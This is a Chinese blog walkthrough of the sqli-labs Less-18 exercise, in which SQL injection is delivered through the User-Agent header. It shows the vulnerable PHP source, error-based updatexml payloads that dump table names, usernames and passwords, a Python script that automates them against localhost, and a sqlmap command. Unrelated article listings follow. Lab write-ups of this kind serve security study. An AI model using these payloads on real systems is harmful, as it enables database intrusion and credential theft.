Less 18 (请求头注入--user-agent注入)

2023-11-03

1. 题目分析

首先我们来分析一下题目:
在这里插入图片描述
经过尝试,我们知道,当我们输入正确的用户名和密码的时候,后台会将User Agent返回到屏幕上。

那么根据目前的情况来看,可能存在的注入点有2个:

  1. 登录框
  2. user-agent

我们先来看一下源代码:

// uagent的接收是未经过严格过滤的
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	// 此处表明我们输入的uname和passwd是经过后台严格检验的,因此想从这里注入是很难的。
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);

	//logging the connection parameters to a file for analysis.	
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			// 这里有一个插入sql语句,而uagent也没有严格过滤,我们可以从这里入手注入
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}

	}

通过对源程序的分析,我们得知:

  1. unamepaswwd是经过严格过滤的,几乎不可能在这里进行注入。
  2. uagent没有经过严格过滤,而且存在insert语句中,因此我们的突破口就在uagent中。

2. 构造SQL

首先我们将源代码的INSERT语句提出来分析一下:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

此处是向uagent表中插入的是3个字段,因此我们构造的SQL语句要保持字段的一致。

我们做出如下拼接:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' or updatexml(1, concat('#', database()), 0), 1, 1) #

其中,第一个字段为'' or updatexml(1, concat('#', database()), 0)
第二个字段为1
第三个字段为1

我们的payload就是处于第一个字段中,先用一个单引号闭合原生sql的单引号,然后通过or连接一个updatexml()函数,将payload封装到updatexml中,使得后台抛出错误返回给前端。

3. 手工注入

  1. 获取当前数据库信息
    构造语句:

    ' or updatexml(1, concat('#', database()), 0), 1, 1) #
    

    在这里插入图片描述
    可以看到页面给出了后台所使用的数据库名。

  2. 查当前数据库下都有哪些数据表

    ' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1, 1) #
    

    在这里插入图片描述

  3. users表的字段

    ' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")), 0), 1, 1) #
    

    在这里插入图片描述

  4. 查询users表的所有值
    username:

    ' or updatexml(1, concat('#', (select group_concat(username) from users)), 0), 1, 1) #
    

    password

    ' or updatexml(1, concat('#', (select group_concat(password) from users)), 0), 1, 1) #
    

    在这里插入图片描述

4. 使用python进行注入

之前也学过一点爬虫,刚好这次来复习一下:
代码如下:

import requests
import re


class Header_injection():
    def __init__(self, headers, url):
        self.headers = headers
        self.url = url

    def injection(self):
        # 配置post提交数据
        data = {'uname': 'admin', 'passwd':'admin'}

        for header in self.headers:
            # 构造请求头
            headers = {
                "User-Agent": header
            }

            # 以post方式提交请求
            response = requests.post(url=url, headers = headers, data=data).text

            # 使用正则表达式对返回HTML进行过滤,得到最终结果
            result = re.search('XPATH syntax error:(.*?)<br>', response)

            # 输出结果
            print("The answer is %s" % result.group(1))


if __name__ == '__main__':

    headers = [
        "' or updatexml(1, concat('#', database()), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema='security')), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select concat(username,':::', password) from users limit 0, 1)), 0), 1, 1) #",
    ]
    url = "http://localhost:7788/sqli/Less-18/"

    h = Header_injection(headers, url)
    h.injection()

结果如下图:

The answer is  '#security'
The answer is  '#emails,referers,uagents,users'
The answer is  '#id,username,password'
The answer is  '#Dumb:::Dumb'

5. SQLmap注入

首先我们打开burp suite拦截,将网页提交的Request Headers复制到一个文本header.txt中。

POST /sqli/less-18/ HTTP/1.1
Host: 自己sqli的IP地址
User-Agent: * (注意,由于这里是User-Agent注入,因此要将这个值设置为*)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin:  自己sqli的IP地址
Connection: close
Referer:  自己sqli的IP地址
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

然后打开sqlmap执行如下命令:sqlmap -r 桌面/header.txt --batch

其中我们要将User-Agent改为*

然后敲回车:
在这里插入图片描述
可以看到sqlmap已经探测到了对应的信息。之后通过指定一系列参数(--current-db, --tables, --columns等)即可破解数据库信息。这里不再多说。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Less 18 (请求头注入--user-agent注入) 的相关文章

  • PyQt5的相对布局管理

    PyQt5的相对布局管理 博主PyQt5新手 最近在写一个可视化展示界面 第一个遇到的坑就是布局管理 其实可以不用相对布局 直接用QtDesigner进行傻瓜式的拖控件也不是不可以 高级一点 也可以用绝对布局 定义控件的绝对位置 就可以避免
  • 【算法】HJ59 找出字符串中第一个只出现一次的字符

    法一 STL include
  • 投标是个技术活,不这样做要么苟且,要么狗带

    客户关系妥妥的 却被一个标书的纰漏把单搞丢了 难道煮熟的鸭子也能飞 这10个投标的关键节点你需要知道 最近有销售朋友在哀叹 客户关系妥妥的 却被一个标书的纰漏把单搞丢了 难道煮熟的鸭子也能飞 我说有两种情况会导致这样的结果 一 你这鸭子根本
  • 铅蓄电池充电电流

    1 涓流充电 保护电池 0 1C 2 恒流充电 缩短充电时间 0 5C or 1C 3 恒压充电 防过充 降至0 01C
  • wpf TexBox的ValidationRules

    样式
  • matlab中ans的含义

    ns 最近计算的答案 语法 ans 说明 示例 当您在未指定输出参数的情况下运行返回输出的 MATLAB 代码时 MATLAB 会创建 ans 变量并将输出存储在该变量中 建议不要在脚本或函数中更改或使用 ans 的值 因为该值可能会经常变
  • nuget nuspec清单描述

    创建NuGet包 在创建一个NuGet包之前我们应该先创建一个以 nuspec为后缀的xml清单文件 这个清单文件描述了包的内容 在安装NuGet包的过程中这个清单文件扮演者很重要的角色 实际上它的作用就像app config一样 并且是不
  • (C语言)多项式加法

    多项式加法 问题描述 编写一个程序 实现两个多项式的加法运算 要求用一个有序的链表表示一个多项式 每一项用一个结点表示 在链表中按照项的幂数进行排列 输入形式 两个多项式 用空格隔开 每个多项式中没有空格 每项的系数是浮点数 每项的指数是非
  • 联想小新进入BIOS方法(解决安装VM虚拟机提示“Intel VT-x处于禁用状态”)

    最近要学项目部署 所以先安装个VWmare虚拟机 在虚拟机里安装Linux系统 我下载好Linux的镜像文件后 在vw里创建新的虚拟机时报错 发现我的电脑的虚拟化是禁用的 于是我在网上查了一下得打开BIOS才能修改虚拟化设置 问题是 我的电
  • 线性代数复习公式整理(自用/持续更新)

    文章目录 第一章 行列式 秩 化 叉 型行列式 化 ab 型行列式 化 三条杠 型行列式 化 两线加一点 型行列式 行列式运算 第二章 矩阵 矩阵与初等矩阵相乘做初等变换 矩阵转置的性质 矩阵伴随的性质 矩阵的逆的性质 矩阵可逆的充要条件
  • NeurIPS 2021 | Twins:重新思考高效的视觉注意力模型设计

    Twins 是美团和阿德莱德大学合作提出的视觉注意力模型 相关论文已被 NeurIPS 2021 会议接收 本文主要讲述 Twins 解决的难点 设计和实现思路 以及在美团场景的探索落地 希望能对从事视觉算法研发的同学有所帮助和启发 导读
  • SecureCRT日志上添加时间戳

    1 首先成功使用secureCRT打印串口信息 2 打开option菜单的session options对话框 3 点击LogFile选项 输入log文件路径和名字 最后在log data输入 Y M D h m s t 最后点击OK 4

随机推荐

  • MySQL下载步骤详解

    对于不同的操作系统 MySQL 提供了相应的版本 在 Windows 操作系统下 MySQL 数据库的安装包分为图形化界面安装和免安装这两种安装包 这两种安装包的安装方式不同 配置方式也不同 图形化界面安装包有完整的安装向导 安装和配置很方
  • my学习OC--流程控制

    1 顺序结构 编程语言中最常见的就是顺序结构 顺序结构就是程序从上到下一行一行执行 中间没有判断和跳转 如果main韩式几行代码间没有任何流程控制 则程序总是由上到下依次执行 2 条件语句 if 和 switch语句 if语句和switch
  • Parameter ‘contractState‘ not found. Available parameters are [request, page, param1, param2]

    目录 一 问题描述 二 解决过程 一 问题描述 org mybatis spring MyBatisSystemException nested exception is org apache ibatis binding BindingE
  • 博云,站在中国容器潮头

    容器云 微服务 中间件 AI 容器安全 每一个关键词背后 对应的是博云的新故事 是中国容器市场的新故事 也更是新一代定位PaaS的中国企业的故事 作者 皮爷 出品 产业家 2019年年底 赵安全邀请了三家服务过的企业客户来到公司总部 他是博
  • Android开发“仿美团”

    步骤分析 1 需求分析 首先需要确定该app的功能 包括用户端和商家端 以及必要的后台管理系统 需要考虑到美团app的主要功能 如定位 搜索 点评 下单 支付等 2 UI设计 根据需求确定app的界面设计风格 布局 色彩等 要考虑到用户体验
  • mybatis-plus在实体中加入其他不属于数据库表的字段注释和数据类型的转换

    一 mybatis plus在实体中加入其他不属于数据库表的字段注释和数据类型的转换 数据库 MySQL 表 t society problems 字段 PROBLEM TYPE 题干类型 类型 int 业务描述 在导入Excel文档时候
  • virtualbox无法安装64位系统

    今天在实验室用VirtualBox安装 64位的Ubuntu系统 在安装时没有显示64位的Linux安装项 只有32位的Linux安装选项 为了以后遇到能够快速解决 我就把坑在这里填了吧 要安装64位的虚拟机要满足下面几个条件 1 CPU要
  • 【面试宝典】面试中你能遇到的问题答案全在这儿了

    人生中最尴尬的考试不是你不会 而是明明知道答案也答不对 职上网小编 人生数十载 考试千百回 小时候我们有小考 中学时我们有中考 高中时我们有高考 大学时我们还有大考 而在要工作时我们还要面考 总少不了以下这几个问题 请做一下自我介绍 请说一
  • unity-3d:打飞碟游戏

    unity 3d 打飞碟游戏 1 编写一个简单的鼠标打飞碟 Hit UFO 游戏 uml类图 Director DiskData DiskFactory FirstController FlyActionManager Interface
  • VMware虚拟机中如何配置静态IP,以及DNS服务器

    参考的是这位同学的博客 写这篇博客是为了自己学习用 到时候忘记了可以翻出来看看 这个是VMware的草图 1 查看网关 以及网段 将VMnet8中 使用本地DHCP服务将IP地址分配给虚拟机 的选项去掉 然后点击NAT设置 记住这上面的NA
  • Nginx具体配置(三)

    一 Nginx配置实例 反向代理 实例一 1 1 实现效果 在Windows浏览器地址栏中输入www 123 com 跳转到Linux系统中的tomcat主页面 访问Nginx 192 168 92 130 80 访问Tomcat 192
  • 在colab上部署novelAI

    目录 一 获取模型 1 使用他人提供的模型链接直接在Google云端硬盘中添加快捷连接 推荐 2 自己上传模型到Google云端硬盘 二 colab上进行操作 第一步 加载Google云盘 第二步 克隆git仓库 第三步 安装依赖 第四步
  • Spring Boot 学习研究笔记(十七) -Spring boot JPA的复杂查询

    Spring boot JPA的复杂查询 一 JpaSpecificationExecutor 接口查询方式 1 JpaSpecificationExecutor接口 JPA 提供动态接口JpaSpecificationExecutor 利
  • JavaScript 算法 -- 贪心算法

    文章目录 贪心算法 例题一 分饼干 例题二 买卖股票的最佳时机 II 贪心算法 贪心算法是算法设计的一种方法 期盼通过每个阶段的局部最优选择 从而达到全局的最优 但最后的结果不一定最优 例题一 分饼干 param number g 胃口 p
  • 【机器学习算法】感知机模型

    文章目录 1 感知机模型 2 收敛性证明 Novikoff定理 3 感知机对偶形式 4 感知机的缺点 5 感知机的几个变形 5 1 投票感知机 5 2 平均感知机 1 感知机模型 感知机模型是一个二分类的模型 它通过形如 y w x
  • 前后端交互之解决跨域问题!!!!

    报错 XMLHttpRequest cannot load http 127 0 0 1 8080 detail all No Access Control Allow Origin header is present on the req
  • 小娜老师的讲义-Docker的管理工具们(Kubernetes)

    Kubernetes k8s 是自动化容器操作的开源平台 这些操作包括部署 调度和节点集群间扩展 如果你曾经用过Docker容器技术部署容器 那么可以将Docker看成Kubernetes内部使用的低级别组件 Kubernetes不仅仅支持
  • Python学习--函数与Lambda表达式

    链接 DataWhale函数与Lambda表达式 目录 1 函数 函数的定义 函数的调用 函数的返回值 函数文档及注解 函数参数 1 位置参数 2 默认参数 3 可变参数 4 关键字参数 5 命名关键字参数 6 参数组合 变量作用域 内嵌函
  • 一个能干掉90%候选人的Kafka面试连环炮!

    V xin ruyuanhadeng获得600 页原创精品文章汇总PDF 目录 1 写在前面 2 如何保证宕机时数据不丢失 3 多副本冗余的高可用机制 4 多副本之间数据如何同步 5 ISR到底指的什么东西 6 acks参数的含义 7 最后
  • Less 18 (请求头注入--user-agent注入)

    文章目录 1 题目分析 2 构造SQL 3 手工注入 4 使用python进行注入 5 SQLmap注入 1 题目分析 首先我们来分析一下题目 经过尝试 我们知道 当我们输入正确的用户名和密码的时候 后台会将User Agent返回到屏幕上